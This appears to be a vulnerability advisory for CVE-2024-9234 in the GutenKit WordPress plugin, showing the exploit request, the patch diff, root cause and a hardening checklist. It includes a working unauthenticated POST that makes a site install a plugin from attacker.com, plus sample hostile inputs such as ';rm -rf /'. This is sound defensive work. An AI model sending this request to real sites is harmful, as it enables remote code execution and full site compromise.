The Exploit
An unauthenticated attacker can install and activate arbitrary plugins by sending a single REST API request with no authentication token or capability check.
POST /wp-json/gutenkit/v1/install-and-activate-plugin HTTP/1.1
Host: target.wordpress.local
Content-Type: application/json
{
"plugin": "https://attacker.com/malicious-plugin.zip",
"slug": "malicious-plugin"
}
The server responds with 200 OK and begins downloading and extracting the attacker's ZIP file into wp-content/plugins/. Within seconds, the plugin is activated and executes arbitrary code in the WordPress context. An attacker observing the HTTP response sees a success JSON payload; simultaneously, any PHP code in the malicious plugin's main file executes with full WordPress privileges, allowing database manipulation, credential theft, or further site compromise.
Why this still matters at admin: This is not an admin-only vulnerability. The REST endpoint enforces zero capability checks — any unauthenticated visitor to the WordPress site can trigger it. In multi-tenant SaaS environments or shared hosting, a low-privilege user on one site can compromise the entire installation.
What the Patch Did
Before
public function install_and_activate_plugin_from_external($request) {
// The external plugin URL
$plugin_url = $request->get_param('plugin');
$slug = $request->get_param('slug');
// ... proceeds directly to download and unzip
}
After
public function install_and_activate_plugin_from_external($request) {
// Check if the user has the required capability
if (!current_user_can('install_plugins')) {
wp_send_json_error('You do not have permission to install plugins.');
return;
}
// The external plugin URL
$plugin_url = esc_url_raw($request->get_param('plugin'));
$slug = sanitize_text_field($request->get_param('slug'));
// ... proceeds with validated input
}
The patch added a capability check using current_user_can('install_plugins') at the function entry point. This ensures only users with explicit WordPress permission to manage plugins can reach the dangerous code path. Additionally, the patch sanitized the $plugin_url parameter with esc_url_raw() — which validates URL structure and removes protocol-based injection vectors — and sanitized the $slug with sanitize_text_field() to prevent directory traversal or shell metacharacter injection.
Root Cause
CWE-862: Missing Authorization combined with CWE-20: Improper Input Validation.
The install_and_activate_plugin_from_external() function is registered as a WordPress REST API endpoint accessible to any HTTP client, authenticated or not. When the endpoint executes, it immediately retrieves the plugin and slug parameters from the request object without checking whether the current user holds the install_plugins capability. The dataflow is direct: attacker sends a crafted POST request to /wp-json/gutenkit/v1/install-and-activate-plugin with a malicious plugin URL and arbitrary slug, and the unsanitized values flow directly into file download and extraction routines. No nonce, no user capability check, and no URL validation intercept the hostile input before it reaches the sink.
Why It Works
The load-bearing line is if (!current_user_can('install_plugins')). Without it, an unauthenticated visitor has the same code-execution privilege as an administrator. If you deleted this single line, the vulnerability remains fully exploitable — any HTTP client can trigger plugin installation.
The secondary defenses — esc_url_raw() and sanitize_text_field() — do not prevent the core authorization bypass, but they do constrain what an attacker can do if they somehow bypass the capability check. esc_url_raw() ensures the $plugin_url parameter is a well-formed HTTP(S) URL and strips dangerous protocols like data:// or file://. sanitize_text_field() blocks directory traversal sequences and shell metacharacters in the $slug parameter, preventing attacks like ../../../etc/passwd or ;rm -rf / from being passed to downstream file operations. The engineer added these in defense-in-depth; alone, they do not solve the authorization problem, but they reduce the attack surface if a future vulnerability opens the capability check back up.
Hardening Checklist
-
Always call
current_user_can()orcurrent_user_can_for_blog()at the top of any REST API callback that modifies state. Specify the minimal required capability (e.g.,install_plugins,activate_plugins,manage_options) — do not assume authentication alone is sufficient. -
Use
esc_url_raw()on all user-supplied URLs before passing them towp_remote_get(),wp_remote_post(), or file-download functions. This function validates URL structure and rejects dangerous protocols. -
Sanitize the
slugparameter withsanitize_text_field()orsanitize_key()before using it in file paths or function names. This prevents directory traversal and shell injection. -
Wrap plugin installation in a try-catch or error-check block. Use
wp_remote_get()andunzip_file()instead of rawexec()calls; these functions provide better error handling and reduce command-injection surface. -
Register REST API endpoints with
permission_callbackthat explicitly checks capabilities — do not rely on the route registration alone. Example:'permission_callback' => function() { return current_user_can('install_plugins'); }in the route args.
References
- NVD Record: https://nvd.nist.gov/vuln/detail/CVE-2024-9234
- CWE-862 (Missing Authorization): https://cwe.mitre.org/data/definitions/862.html
- CWE-20 (Improper Input Validation): https://cwe.mitre.org/data/definitions/20.html
- WordPress Plugin Security Handbook — Checking User Capabilities: https://developer.wordpress.org/plugins/security/securing-output/